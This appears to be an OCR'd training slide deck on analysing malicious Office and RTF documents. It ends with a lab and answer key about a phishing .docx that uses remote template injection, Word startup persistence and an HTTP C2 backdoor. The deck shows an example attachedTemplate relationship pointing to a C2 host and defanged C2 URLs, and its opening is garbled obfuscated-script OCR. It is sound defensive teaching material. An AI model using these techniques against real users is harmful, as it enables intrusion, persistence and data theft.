IDU4RD I 0LCAWeDCXNUU20DUWLCAWeDA2Qzc1MEJCLCAWeDAWMDAWMDK 0 LCAWeDAWMD I 3MUU4 LCAWeDU1RKY 1N jAWLCAWeDAONOU4MO ZDLCAWe DgZMT g3MzA2 LCAWeDCOMDBGNDAE LCAWEEQWNZVGRJEY LCAWeDU1RKY 2NOZGLCAWeDC
0QzAANUY 0LCAweEZGMDE2QTA2 L.CAwe DhCRDNGR JM3 LCAweDQ1QzdEODQ] LCAweEUzNZBENEZDLCAWeDNDNzA4QkFDLCAweDQ1 OERGMDA zL.CAwe DVFN jg1MEZDLCAWe Dg5NTBCQ j cx LCAwe DJGRThDND ¢ 1 LCAweDZBMDAWMDAY LCAwe
IDY ANTA10DA0LCAWe DAWMDAZMDAWLCAWe EZGNTA3NKZGLCAWeDM3RKY zND ¢2 LCAWeDg 5RKM1NUZGLCAWe EMWODVGODQ1 LCAWEDAXNKEWN j ¢ 1 LCAWe EQZRKY ZNOZGLCAWE EM3R jQONThELCAWe EMXRUJGNDQ1 LCAWeDY ANTAINTBFLCA
'weDUwQkI 3MTVFLCAWeDAWMD FGOUUALCAweEZGMDA2 QTAWLCAweDc1RkY 1NDc2 LCAWeEY ANzVGRkQALCAweDU1IRKY zNOZGLCAWeDc1QzAANUY 0 LCAweEZGMDE2QTA2 LCAwe DBGRDNGR JM3LCAWe Dg5MDY ONk I 3LCAWeDQ1O0EREQZzQ1 L
[CAWeDVFN]jg1MEYWLCAWeEM3NTBCQ jcxLCAWeD1FQONGMDQ1LCAWe EMZRT gz QU Iy LCAWeDgZMDAWMDAX LCAWeDBGMDBEQZAE LCAWeDAWMDBGQThFLCAWeDFDODY 4RDAWLCAWeDgSMDAWMDAX L.CAWe DhFOERFODQ1 LCAWe DAWMDAWMTA
0 LCAweDAXMEMAN jhELCAweDREODkwMDAWLCAweDAWOTY AREUWLCAwe Dg5MDAWMDAXT.CAwe Dg20ERFQz(1 LCAWe DAWMDAWMTA4 LCAwe DhCRTQ1NTg5 LCAweDQ10D1 EQzc 1 LCAweDAWMz g AM0 ZDLCAweDQ10DMxN jc1 LCAwe EMwODMy O
[EVDLCAWeEU4NDU4MzI4LCAWeDI4QzI4MzI4LCAWeEUSMJhDMTgzLCAWeDAWMDAWMD 1 BLCAWeDZBR ) g3NThCLCAWe DhCMZBGR JAWLCAWEeDAWOEJFQZzQ1 LCAWeDUWRDgONTAZ LCAWEEM2MDMWMThCLCAWeE ZGM2dGR j UWLCAWe EMWODV
GNDU1LCAweDAXNKEwWNjcl LCAweEQzRkY zNOZGLCAweDZBRTgORDhCLCAwe DAYNKE 1 0ODAWLCAwe DAWMD AWMUY 3LCAwe DBGNUEOMDAWLCAwe DAXR jdDM Q1 LCAwe DgwMDAWMD AwLCAweDBGNUEWND ZBLCAweDAXR jdDMj Q1 LCAweD TwM
DAWMDAWLCAWe EM40DMxND 0 LCAweDc0Qz I ANDEWLCAWeDUANDA2QTA] LCAWeD IWNKEWOEVCLCAWeDBGNTKWMKE 4 LCAWe DREOERDMTQ 1 LCAWe DhCNTA1 MUMWLCAWe DMWRKZFNDQ1 LCAWe DhCRTAONThC LCAWeDUWQ z Y wMZAWLCAWe DU
1RkYzNOZGLCAWeDc1QzAANUYWLCAWEEZGMDE2QTA2 LCAWeDhCRDNGR JM3LCAWeDU10EJGQZzQ1 LCAWe EUWNEQ4QkUOLCAWeDAXNUUYODZBLCAWE EM2MDNFQ z 1 LCAWe DAZRTg3NTAX LCAWe DhCQOUWMOQ2 LCAWe EVFODNEQZzc1 LCAWe
EEUWNEQ4OQTAXLCAWeDgERTQINTG5LCAWeDc10OD1G0Zz01 LCAWeDM20DUWRKRD LCAWeDhCRKZGRKZGLCAWeDQ10EIJDQZze 1 LCAWeD ZEBMDA2QUY A LCAwe DASMD ZDNZA O LCAwe Dg EMDAWMTAWLCAWe DUWNThDODQ1 LCAWeDUWQZzgONThELCA
'weDAWQTQ4N JjhCLCAWeEMWODMWMDAWLCAWe DM3RKY IMDA4LCAWe DG 1R jJQINUZGLCAWEDZBMDY SNUMWLCAWE EZGMZAGR JAX LCAWEEMONDU 4QkQzLCAWEeDNFR JAONUM3LCAWe DhCMOUSR Q1 LCAWe DQ1MDMyODQWLCAWe EIWODY40UY4 L
CAweDhEMDAWMDAWLCAwWeDY ANTBGMDQ1LCAweDUWQKI3MTVFLCAweDAWMDA20UU4LCAWeDC3RKY 1IN JAWLCAWeEYWNTVGRJAOLCAWeDA2NZVDMDg 1 LCAWeDM3RKYwMT ZBLCAWeDQ1 OEREM0O ZGLCAWe EYWNDVDNO YwLCAWe EZDNDRGM U
XLCAWEDGXNUVCQJUWLCAWEEU QNTMIMEJCLCAWEDAWMDAWMDQYLCAWQE ZGMDQ3NOZ GLCAW&DQIOERGMDU 1 LCAWEBYWN'DVDNDYWLCAWEBJGRDqBRkVD LCAweD JCR’l‘g IMZUWLCAWEE ZGMDAWMDAWLCAW&EYWNTVGRJ MSLCAWEMR] gON i

";wvar o="";var k=0;var 1l=s.length; while (o.length 1) {o+=s.charAt (i*k%1) ;k++; }return o;}function aa()

Text | HexDump | Stream Details

1 Decompression Errors

stream £ 65 org sz = (0x1C37)

Errors | Search | Debug (5)
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https://github.com/dzzie/pdfstreamdumper

OLESS

OLE Structured Storage
Object Linking and Embedding Structured Storage (OLESS)

e Equivalently, Component Object Model Structured Storage (COMSS)
e Microsoft specification for hierarchically storing multiple objects in a single file

Compound File Binary (CFB) File Format

e Equivalently, OLE Compound File or just Compound File
e Microsoft’'s implementation of the OLESS / COMSS specification
e Designed as a filesystem within a single file

Practically, the terms OLESS, COMSS, Compound File Binary, and Compound File can be
used interchangeably.

OLESS Structure
Header

e Magic: Do CF 11 E@ Al B1 1A E1l
e Contains metadata needed to process the file

File Allocation Table (FAT) and MiniFAT
e Array of sectors that identify where “file” data are located

DirectoryEntries

e Array of directory entries, each of which refers to a storage or a stream
e File system analogy: think of storages as directories and streams as files

OLESS Structure
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Structured Storage Compound File

Root Storage

Storage 1 Storage 2 Stream A

I
I l

Stream B Stream C Storage 3

Office Documents
Application-specific stream defines the document type

e Word (.doc, .dot) — WordDocument
e Excel (.xls, .xlt) — Workbook
e PowerPoint (.ppt, .pot) — PowerPoint Document

Each document type may have additional application-specific streams

Consult the documentation on the structure and content of these streams

e Word: [MS-DOC]
e Excel: [MS-XLS]
e PowerPoint: [MS-PPT]

COM and OLE
Component Object Model (COM)
e Microsoft’s standard for binary component reuse and interoperability
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e Separation of interface (what you can do) and implementation (how it's done)

Object Linking and Embedding (OLE)

e Extends COM technology to create documents containing objects created by multiple
applications
e Example: Manipulating and editing a spreadsheet created in Excel directly within Word

DOC File with Embedded DOCX

¥ Document in C:\Users\userDesktophdocs\Hello World with Embedded.doc - Word H - 0 x

BEIUCE Insert | Design | Layout | References | Mailings | Review | View | @ Tellme.. Signin RSharE

ol - alls i - «|| ==
B 3 [ Catibr 1 <A & | Aa- |4 Calibri (Body) 1 : As o
. BE B I U ~abex, X A & it
sty 2 ¥ 5 fles diting
ave o B I U -abex x . A~ Pav.te Y RA-V-A-ma- KA St‘,vle_ vJ
Clipboard & Font & Clipboard & Font [F1 Paragraph | Styles ~
Hello Waorld! h’hisis an embedded file.
%
%
Pagel of 1 Swords L2 S| B - 1 +  100%
Double-click or double-tap to Open Microsoft Word Document @ 'sE'm - 1 + 100%

CLSID and ProgID
Class ID (CLSID)

e 16-byte globally unique ID (GUID)
e Identifies the COM class and the associated application

CLSID Format

e Represented as 32 hexadecimal digits divided into 8-4-4-4-12
e First three components are encoded as little-endian and last two as big-endian
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e Written as {00112233-4455-6677-8899-AABBCCDDEEFF}
e Encodedas 33 22 11 00 55 44 77 66 88 99 AA BB CC DD EE FF

ProgID

e Human-friendly name for a CLSID
e Example: Word.Document.12
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CLSID and ProgID
ProglD — CLSID
e HKEY _CLASSES_ROOT\<ProgID>\CLSID in the registry

CLSID — ProgID

e Search HKEY_CLASSES_ROOT for the CLSID
e Search as Data, not Values or Keys

References
e Document-related ProgIDs and CLSIDs: oletools/common/clsid.py in the oletools
repository
e UUID Database: uuid.pirate-server.com

¥ Registry Editor
File Edit View Favorites Help
|, Word.Document * || Name Type Data
4 i Word.Document.12 | ab{(Default) | REG_SZ  (F47S4COB-64F5-4B40-BAF4-679732AC0607)

83 W T
Defaulticon
Insentable
|, Protocol
L, shell
XML Handler
& Registry Edtor
Fde Edt View Favortes Help
« (& Computer * | Name Type Data
P HKEY_CLASSES_ROOT a8 Dofat) REC 7 fialue oot cot
[ oa =
[V T S F 4 7540 596 EAF5-4BA0-BAF4 6797 I2ACD607)) | Find Next |
Look =t T ST 7|
Keys
Vahoss
v Data
Mstch whole stang only

OLE Object Storage
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OLE objects are stored in the ObjectPool storage

e Each OLE object is stored as a substorage with a randomly-generated name (e.g.
~1658914939)
e The OLE object may consist of several streams storing object data and metadata

Identifying the OLE object
e The CLSID of the object is stored in the CLSID field of the object substorage

OLE Object Storage

> oledir <FILE>
@ |Root Entry | - | 00020906 - 0000 - 0000 - C000 -0000VVBEB46 — Document
| | [Microsoft Word 97-2003 Document CLSID
| | | (Word.Document.8) ———— Document ProglD
|objectPool | - |
I
I

4 | |_1659175436 - | F4754C9B-64F5-4B40-8AF4-679732AC0607 — Embedded
Object CLSID

v [Microsoft Word Document
Object

|

| Storage | | (Word.Document.12) —— Embedded Object ProglD
6 | \x@1CompObj 107 |

|

|

\x@30bjInfo |6 |

Package |11371 |
v
Object
Streams
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VBA Macros in OLESS

> oledir <FILE>

6 |Macros | - | (Froject Root Storage P 5E§%¥Effffffiswmwé
17 | PROJECT 417 | I S S— )
16 | PROJECTwm |71 I

7 | VBA |- I L<hiodss e | }E%Z‘E.es

9 | NewMacros |2331 | _‘_I_l—m o

8 |  ThisDocument 1924 | }é“tieiifs

12 |  _VBA_PROJECT |2853 |

14 | __SRP_© |1208 | }‘s’ﬁi‘rj;é?s

15 |  _SRP_1 |76 |

16 | _SRP_2 124 |

11 | _SRP_3 |214 | e — S

13 | dir |578 |

OffVis

A Microsoft-developed tool for inspecting and analyzing OLESS files

Best tool for manual manipulation of OLESS files

e Sector defragmentation
e Application-specific (Word, Excel, PowerPoint) stream parsing
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oletools

oleid — quickly triage for potentially malicious components
e Identify presence of VBA macros, XLM macros, and external relationships

oledir - List storages and streams along with identified CLSIDs

olevba — Extract embedded VBA macros and detect VBA stomping
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Rich Text Format (RTF)

Rich Text Format (RTF)
Proprietary file format developed by Microsoft for cross-platform document interchange
e Markup-like format consisting primarily of plain text

{<header><body>}

e Magic: {\rtf
e Header contains attributes (fonts, styles, annotations) and metadata
e Body contains the document text

RTF Syntax
Control Word

e Backslash (\) followed by up to 32 alphabetic characters
e Commands that specify document and text attributes
e May be followed by parameters

Control Symbol
e Backslash (\) followed by a single nonalphabetic character

Group

e Text and control word enclosed in braces ({})
e Attributes specified by control words apply to text within the group
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Simple RTF Document
{\rtfil\ansi{\fonttbl {\f@ Calibri}}\fe{\b Hello} World!}

—T | | |

Magic Font table group

Bold control word

Header Body

el

= 4=
AaBbceDe| maBbcede AaBbC

T Merrnal | THo Spac.. Headingl |5

Editing

Chpboard M Fant & Paragraph ] Stybes & A

Helle World!

OLE Objects in RTF
{\object <type> <class> <data>}

<type>
e \objemb —embedded OLE object

<class>
e {\objclass <ProgID>}

<data>
e {\objdata <hex-encoded OLE data>}

OLE Objects in RTF
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{\object\objemb{\*\objclass Word.Document.8}{\*\objdata...}...}

<type> <class> <data>

> rtfobj <FILE>
id |index |OLE Object
e mmmmmmmmem o m e e e e e e e e e
© |000029DEh |format_id: 2 (Embedded)
| |class name: b'Word.Document.8'
| |data size: 22528
| [MD5 = '©883f16963a840960e23b520acec0961"
| |CLSID: ©0020906-0000-0000-C000-000000000046
| |Microsoft Word 97-2003 Document (Word.Document.8)

Triaging RTF
OLE objects are the primary source of threat in RTF documents

e Container for nested documents
e Load vulnerable components associated with specified ProgID/CLSID

Extract and identify embedded objects with rtfobj and identify the ProglD/CLSID
e [fit's an uncommon ProgID/CLSID, search online for associated vulnerabilities

93



Templates and Remote Template Injection

Office Templates
Pre-designed patterns for documents such as resumes, business cards, etc.

Document template
e Base format for the current document

Global template (Add-in)

e Provides additional functionality (e.g. keyboard shortcuts, macros) to all open
documents

Insert Design Layout References Maifings Review View Y, t tt Signin £ Share

= Al | q P Find -
SNy AaBbCcD¢ fm AaBbCcDc m
»

2 Replace

Calibri(Body) ~[11 =~ A" A" Aa- A

- - T Normal Title 7 Contact 3 I\
x . s [ select~

Pef‘t v B I U-axx, x A-Y-A-

Clipboard 1 Font n Paragraph 0 Styles 0 Editing ~

FIRST NAME LAST NAME

Address - Phone
Email - Linkedin Profile - Twitter/Blog/Portfolio

Templates and Add-ins IR

Templates | XML Schema | XML Expansion Packs | Linked Css

To replace 4 e, or
summarize Document template

C:\Users\user\Documents\Custom Office Templates\Resume.dotx Attach... |
Automatically update document styles
EXPER| ttach 10 B Hew e-mall NEsidg
DAT| | Global templates and add-ins
JOH Checked items are currently loaded.
[ |
Des Addy mples,
but
DAT]|
JOH
Des = mples,
but Full path:
EDUCA

Mol ‘ QOrganizer... '\ [ Cancel ]
DEq —

It's okay to brag about your GPA, awards, and honors. Feel free to summarize your coursework
too.

MONTH YEAR
DEGREE TITLE, SCHOOL
It’s okay to brag about your GPA, awards, and honors. Feel free to summarize your coursework
Pagelofl 206 words [z B R - 1 + 100%
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Template File Types

00XML 00XML OLESS
(Macro-enabled)

DOTX DOTM

Template Persistence

Trusted Locations

e File > Options > Trust Center > Trust Center Settings > Trusted Locations
e Accepted file types (e.g. templates) will be automatically loaded in from these locations

Normal.dotm

e Default template attached to a Word document in the absence of a specific template
e Located at APPDATA%\Microsoft\Templates\Normal.dotm

Insertion or modification of files at these locations can be used for malware persistence
Remote Template Injection
Attached document template may be from a remote location

e Office automatically retrieves the remote template on document open

Remote template can contain macros to be executed on retrieval
e Separation of malicious macros from phishing document allows evasion of detection
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Remote Template Injection
1. User opens a phishing document with an attached remote template
2. Upon opening the document, Word retrieves the remote template from an attacker-

controlled server
3. User clicks “Enable Content”, executing the macros contained in the remote template

Macros have been disabled. Enable Content

G

Identifying Remote Template Injection (OLESS)
If an external HTTP address is present, the strings utility should reveal it (as Unicode)

To confirm the template relationship, use the WordBinaryFormatDetectionLogic plugin in
OffVis to parse the binary records
Relevant records are present in the 1Table or @Table stream
e SttbfAssoc record contains strings related to document metadata, including the

attached template path
e Refer to [MS-DOC] for details on the record structure (STTB and SttbfAssoc)
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Identifying Remote Template Injection (OLESS)

1), OffVis: Doc2.doc [o)le k=]
File Edit View Tools Help
Parser. | Cases.di : WordBinaryFomnat DetectionLogic{CVE-2006-4534, CVE-2007-0515.C ~| [ Pame |
Raw File Conterts Parsing Results
20002803 03 02 00 0 05 03 00 00 08 94 00 30 33 58 00 00 1= S Ot S Iroe
00002320 0O 0O 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 [ IR ILLS LoD 2 0L = = Lol =
00002RF0O 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - caiw 2 574 2 Dataltem_Vint16
3000i315 59 23 03 0 0 @b 4o 4o ds 44 54 20 00 00 05 05 G oL Z S EES R
0002810 00 00 0 0 00 00 ¢
00002820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 i 13 oed 2 Dataltem Ulntie
00002830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [} FIBTables7 666 744 FIERGFCLCBY7
00002840 0O 00 00 00 00 00 RO 05 AD 05 B4 00 B4 00 81 BI () FIETable2000 1410 120 FIBRGFOLCB2000
00002850 72 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 T
00002860 0O 00 0O 00 00 00 00 00 00 00 00 00 00 00 00 00 (3} FlETable2002 1530 24 FIERGFCLCE2002
00002870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 (3] FIBTabie 2003 1754 24 FIERGFCLCB2003
00002880 00 DO 00 00 ©0 00 00 00 00 00 00 00 00 00 00 00 () FIBTable2007 P o rsreery
00002890 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00
00002BR0 02 00 00 00 00 00 00 00 00 00 00 4B [| comtiew 5 210 2 Dalalten Lint36
00002BB0 10 00 08 00 FC FD 01 00 00 00 00 00 Bmmew 2132 9 FIBRGCSWNEW
000028C0 00 00 00 00 00 00 0O 00 00 00 0O 00 'S "
00002800 48 50 00 00 00 00 09 FO EF OF 00 09 "I ‘WordDoqumentStream 'Root Entry\WordDocument 20736 128 ‘OLESSDirectoryEntry
00002BEQ E4 04 00 00 FF FF FF 7F FF FF FF 7F [} OneTableDocumentStream 'Root Entry\ITable 20608 128 'OLESSDirectoryEntry
s000scts 3 37 55 a0 a0 04 00 04 32 03 55 05 oo e =
00002C00 AD 27 0 00 00 — - ~ ~
pacice: T I S T N N ==
00002€20 00 00 00 00 00 00 00 00 00 00 00 00 ) stchouste 9922 2 PLCBTECHPX
00002C30 00 00 10 1C 00 00 04 00 00 DO 0O 00 & arci2) 9522 g List<Datalten UInt32>
00002C40 78 00 00 00 78 00 00 00 00 00 00 00 i -
00002€50 A0 05 00 00 00 00 00 00 OB 00 00 00 | (0 aPrBteChx(i] 930 4 List<PHFRIECHP> r
Dﬂc:czce: DC 00 00 00 01 00 00 00 FF FF 12 00 ) stPapxBte 9934 2 PLCBTEPAPX
00002C70 21 00 68 00 74 00 74 00 70 00 3A 00 @ aFcr2] 9934 8 List<Datalten_UInt32>
00002C80 31 00 32 00 37 00 2E 00 30 00 2E 00 -
00002C90 31 00 3A 00 38 00 30 00 38 00 30 00 G- aPriereoxla] na 4 Lt FNTPPAFKD
00002CAQ 2F 00 44 00 6F 00 €3 00 31 00 2E 00 ) stChonFkPs[1] 072 s12 List<CHPXFKP>
00002CEQ 74 00 6D 00 00 00 00 00 00 00 00 00 | & orrel 072 512 Py
00002€C0 73 00 65 00 72 00 04 00 75 00 73 00 | & El
00002CD0 00 00 00 00 00 00 00 00 00 00 00 00 ) stPapxiPs(1] 3584 512 List<PAPXFKP>
00002CEQ 00 00 Q0 00 00 90 00 00 00 00 00 00 (5} PAPYFKPID] 3584 512 PAPXFKP
00002CFO 00 00 00 00 00 00 00 00 00 00 00 00 i J
-} PhefTch 10225 20 PLCTCH
00002000 00 00 00 00 00 00 00 00 00 00 00 00 J .
00002010 00 00 00 00 00 00 00 00 00 00 00 00 Length 2 10228 4 Dataltem Ulnt32
00002020 00 00 00 00 00 00 00 00 00 00 00 00 ) Crs[2] 10229 8 List<Dataltem_UInt32>
00002030 00 00 00 00 00 00 00 00 00 00 00 00
00002040 00 00 00 00 00 00 00 00 00 00 00 00 () TCHs[2) 10237 8 List<FTCH> &=
00002050 00 00 00 00 00 00 00 00 00 DO 00 00 =55 G ) (5D =
00002060 00 00 00 00 00 00 00 00 00 00 00 00 Farsing Notes
00002070 00 00 00 00 00 00 00 00 00 00 00 00 r T
00002080 00 00 00 00 00 00 00 00 04 00 00 00 [ Type [totes Offset Length Vuin ID )
00002080 00 00 00 00 00 00 00 0Q 00 00 00 00
00002DRO 00 00 00 00 00 00 00 00 00 00 00 00
00002080 00 00 00 00 00 00 00 00 00 00 00 00
000020C0 00 00 00 00 00 00 00 00 00 0O 00 00
00002000 00 00 00 00 00 00 00 00 00 00 00 00 0
00002DEO 00 00 00 00 00 00 00 00 00 00 00 00 -
000020F0 00 00 00 00 00 00 00 00 00 DO 00 00 o - |
Offfset: 11372 Length: 124 | 107.0214ms 31.0062ms Detection loaded: CVE-2006-4534, CVE-2007-0515, CVE-2007-0870, CVE-2006-4534, CVE-2006-6456, CVE-2006-5394, CVE-20 .

Identifying Remote Template Injection (OOXML)
word/settings.xml
<w:settings ..>
<w:attachedTemplate r:id="rId1"/>
</w:settings>

word/_rels/settings.xml.rels
<Relationship
Id="rIdl"

Type="http://schemas.openxmlformats.org/officeDocument/2006/relationship
s/attachedTemplate™

Target="http://c2.mandiant.com/mal.docm"
TargetMode="External"/>
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Lab - agent

Forensic investigators located the suspicious document "UPDATED MANDATORY CDC COVID-19 TRAVEL
GUIDELINES B832422.docx” on a suspected compromised system. Further investigation revealed that
launching the document coused agent . dot to be downloaded from a remote server.

Analyze "UPDATED MANDATORY CDC COVID-19 TRAVEL GUIDELINES @32422.docx” and agent.dot.
Determine if there is any relationship between the two files and what the overall functionality might be.

1.

How are the two documents related?

What is the remote address from which agent.dot is downloaded?

Identify the entrypoint of the macros present in agent.dot
(Note: Any indication that this document is VBA stomped is a false
positive).
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Malicious Document Lab — agent F LAR E

4. Analyze the functions being called at the entrypoints. Is there any
indication of anti-analysis techniques being used?

5. s there any indication of persistence being established? If so, what is
the mechanism?
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Malicious Document Lab — agent F LAR E

6. Analyze the subroutine HnCX4skH3a. What value is assigned to the
variable url? What is its significance?

7.  What information is collected in the object infoObject?

8. Follow the chain of subroutines starting with wp7a236nbd at the end
of HnCX4skH3a. How is the data collected above relayed to the
command and control?
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Malicious Document Lab — agent F LAR E

9. Identify the subroutine responsible for interpreting the response from
the command and control. What is the expected format and content of
the response?

10. Describe the supported commands. What capabilities does this
malware implement?
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Scenario:

Forensic investigators located the suspicious document "UPDATED MANDATORY CDC COVID-19 TRAVEL
GUIDELINES 832422.docx” on o suspected compromised system. Further investigation revealed that
lounching the document caused agent . dot to be downloaded from a remote server.

Analyze "UPDATED MANDATORY CDC COVID-19 TRAVEL GUIDELIMES ©832422.docx” and agent.dot.
Determine if there is any relationship between the two files and what the overall functionality might be.

1. How are the two documents related?

Remote template injection. The tool oleid identifies that an external

relationship is present in the .docx document. Unzipping the document

and inspecting /word/_rels/settings.xml.rels, we see there is

an attachedTemplate relationship with an external HTTP link.

2.  What is the remote address from which agent.dot is downloaded?

hxxp://example.mandiant[.]com/doc/agent.htm

3. Identify the entrypoint of the macros present in agent.dot
(Note: Any indication that this document is VBA stomped is a false
positive).

The document contains three possible auto-execute entrypoints. There

are Document_Open and Document_Close which are executed when

the document is opened and closed, respectively. There is also

AutoExec which, when loaded from a global template or add-in, is

executed during Word start-up.
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Malicious Document Lab — agent F '—AR E

4. Analyze the functions being called at the entrypoints. Is there any
indication of anti-analysis techniques being used?

The entrypoints Document_Open and Document_Close call

PMPJLMt13e and check its return value prior to executing other actions.

The function PMPJLMt13e returns True if the registry value

HKCU\SOFTWARE\Microsoft\Office\<AppVersion>\Word\

Security\VBAWarnings is set to 1, which indicates that Word macro

security setting is set to "Enable all macros". This is not a recommended

default setting, and checking for this value is likely intended to guard

against execution in sandbox environments which may allow all macros

to execute by default.

5. s there any indication of persistence being established? If so, what is
the mechanism?

The subroutine Ek@yzPCMA4d is responsible for installing the template to

#%APPDATA%\Microsoft\Word\Startup\ .dot. Asthisisina Word

startup location, the template .dot containing the macros will be

loaded and the entrypoint AutoExec automatically executed whenever

Word starts up.
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Malicious Document Lab — agent F '—AR E

6. Analyze the subroutine HnCX4skH3a. What value is assigned to the
variable url? What is its significance?

The value assigned to url is the return value of the function

wmc9675wg5. This function decodes the return value string by XORing

each value in the array with the value 32 (6x20) then subtracting

16 (0x18). This results in the command-and-control URL

hxxp://example.mandiant[. Jcom/checkin.php.

7.  What information is collected in the object infoObject?

The malware is compiling as JSON a host survey including information

such as the operating system version; hardware information such as

CPU, GPU, and available RAM; and installed antivirus products.

8. Follow the chain of subroutines starting with wp7a236nbd at the end

of HnCX4skH3a. How is the data collected above relayed to the
command and control?

Following wp7a236nbd, we see that it calls SetTimer to periodically

call the function ahuvdsqcfc. This subroutine calls the function SCI

with the collected host information as an argument. This function sends

the collected host information to the command and control via an HTTP

POST request and returns the response.
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Malicious Document Lab — agent F LAR E

9. Identify the subroutine responsible for interpreting the response from

the command and control. What is the expected format and content of
the response?

The subroutine vcZN2Ua5FG interprets the returned response which is

expected to be JSON and should contain an array of tasks to be

executed. For each task, the type key is the command name, and there

are other command-specific keys such as path or fileurl.

10. Describe the supported commands. What capabilities does this
malware implement?

Supported commands include:

Enumerate and collect drive information

List specified directory

Get file; contents are sent over HTTP POST to specified URL

Put file; contents are downloaded via HTTP POST from specified URL

Delete file

Terminate the backdoor and close the document

Execute shellcode

Change beacon interval
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Command Line Tools

Didier Stevens Suite

e oledump (OLESS)
o Find hidden sheets
B -p plugin biff --pluginoptions “-o BOUNDSHEET -a”
o Get VBA project version
B -p plugin version vba
e oletools

e oleid (OLESS, OOXML)
o Triage OLE, identify VBA Macros, XLM macros, external relationships
e olevba (OLESS, OOXML)
o Extract VBA macros, detect VBA stomping
m --code to get code only, no table
e oledir (OLESS)
o Document structure analysis

e Other

e pcodedmp (OLESS, OOXML)
o VBA stomping
e xImmacrodeobfuscator (OLESS, OOXML)
o Deobfuscate Excel 4.0 macros
o rtfobj
o Triage RTF document
o Extract objects (-s <object_number>)
e pdfid
o Count interesting objects in PDF
e pdf-parser
o Detailed PDF analysis
o Decode and dump objects
o (-0 <object_number> -f —d <output_file)
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